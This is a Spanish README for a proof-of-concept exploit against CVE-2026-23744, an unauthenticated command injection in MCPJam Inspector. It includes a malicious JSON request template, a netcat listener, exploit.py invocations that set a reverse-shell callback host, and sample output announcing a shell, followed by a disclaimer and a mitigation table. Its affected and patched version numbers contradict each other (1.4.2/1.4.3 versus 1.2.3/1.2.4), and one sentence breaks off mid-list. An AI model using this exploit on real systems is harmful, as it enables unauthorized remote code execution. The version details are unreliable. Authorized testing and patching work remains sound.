
Exploit de PoC para CVE-2026-23744 — RCE no autenticado en MCPJam Inspector mediante inyección de comandos serverConfig no validada en /api/mcp/connect, lo que permite una reverse shell como propietario del proceso sin credenciales.
MCPJam es un inspector y proxy MCP (Model Context Protocol) de código abierto utilizado para conectar, depurar y gestionar servidores MCP. Las versiones <= 1.4.2 exponen el endpoint /api/mcp/connect sin autenticación ni validación de entrada. Un atacante remoto no autenticado puede inyectar comandos arbitrarios del sistema operativo a través de los campos serverConfig.command / serverConfig.args, obteniendo ejecución remota de código con los privilegios del propietario del proceso.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2026-23744 |
| Puntuación CVSS | 9.8 (Crítico) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 — Neutralización incorrecta de elementos especiales en un comando del sistema operativo |
| Componente | MCPJam MCP Proxy Inspector |
| Afectados | MCPJam <= 1.4.2 |
| Corregido en | MCPJam >= 1.4.3 |
| Vector de ataque | Red — No se requiere autenticación |
| Divulgación | 2026-01-15 |
El endpoint vulnerable acepta una solicitud POST JSON no autenticada:
POST /api/mcp/connect HTTP/1.1
Host: <target>:3000
Content-Type: application/json
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_CONTROLLED>"],
"env": {}
},
"serverId": "any_string"
}
MCPJam pasa command y args directamente al lanzador de procesos de Node.js
(child_process.spawn o equivalente) sin:
Un atacante que pueda alcanzar el puerto 3000 (por defecto) puede suministrar
una carga útil de reverse shell en args[1], obteniendo una shell como propietario del proceso de MCPJam — a menudo
root o una cuenta de servicio con amplio acceso al sistema.
La ausencia de un middleware de autenticación que proteja /api/mcp/connect, combinada
con el uso no controlado de valores proporcionados por el usuario en una llamada de lanzamiento de procesos, constituye
un caso clásico de inyección de comandos del sistema operativo no autenticada (CWE-78).
pip install requests urllib3
-t, --target Target IP or hostname
-p, --port Target port (default MCPJam: 3000)
-l, --lhost Local IP for reverse-shell callback
-r, --lport Local port for reverse-shell callback
--timeout Seconds to wait for target availability (default: 30)
--shell-timeout POST timeout before assuming shell dropped (default: 5)
-v, --verbose Print full HTTP response body
1. Inicia un listener de netcat en tu máquina:
nc -lvnp 4444
2. Ejecuta el exploit:
# Basic
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444
# Verbose + extended availability timeout (slow targets)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 4444 --timeout 60 -v
# Longer shell timeout (give more time before assuming shell was established)
python3 exploit.py -t 10.10.11.50 -p 3000 -l 10.10.14.5 -r 9001 --shell-timeout 10
╔═══════════════════════════════════════════════════════════════════╗
║ MCPJam · Unauthenticated RCE via serverConfig Injection ║
║ CVE-2026-23744 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2026-23744
Component : MCPJam MCP Proxy Inspector
Affected : <= 1.2.3 → Patched: >= 1.2.4
CVSS Score : 9.8 (Critical)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-78 — OS Command Injection
Type : Unauthenticated Remote Code Execution (Network / No Auth)
Reference : https://nvd.nist.gov/vuln/detail/CVE-2026-23744
10:32:01 [*] Probing target 10.10.11.50:3000 (max 30s) ...
10:32:02 [+] Target is alive — HTTP 200
10:32:02 [*] Exploit endpoint : http://10.10.11.50:3000/api/mcp/connect
10:32:02 [*] Reverse-shell CB : 10.10.14.5:4444
10:32:02 [!] Ensure listener : nc -lvnp 4444
10:32:02 [*] Firing payload ...
10:32:07 [+] POST timed out after 5s — reverse shell likely established on 10.10.14.5:4444
10:32:07 [+] Switch to your netcat listener — incoming connection expected.
10:32:07 [+] Exploit routine complete.
El timeout indica éxito. Cuando la solicitud POST agota el tiempo, el proceso objetivo se está bloqueando en la reverse shell abierta — este es el comportamiento esperado, lo que confirma que se logró RCE. Cambia a tu listener inmediatamente.
Este exploit se proporciona estrictamente con fines educativos y pruebas de seguridad autorizadas. Úsalo únicamente contra sistemas que poseas o para los que tengas permiso explícito por escrito para probar. El uso no autorizado es ilegal y poco ético.
| Prioridad | Acción |
|---|
| Crítico | Actualizar MCPJam a >= 1.2.4 |
| Alta | Restringir /api/mcp/connect detrás de un middleware de autenticación |
| Alta | Aplicar una regla de firewall a nivel de red que limite el acceso al puerto de MCPJam a IPs de confianza |
| Media | Incluir en la lista blanca los valores permitidos para serverConfig.command |
| Media | Ejecutar MCPJam dentro de un contenedor / con un usuario Linux restringido (sin shell, sin /dev/tcp) |
| Baja | Habilitar registro de auditoría en los eventos de lanzamiento de procesos |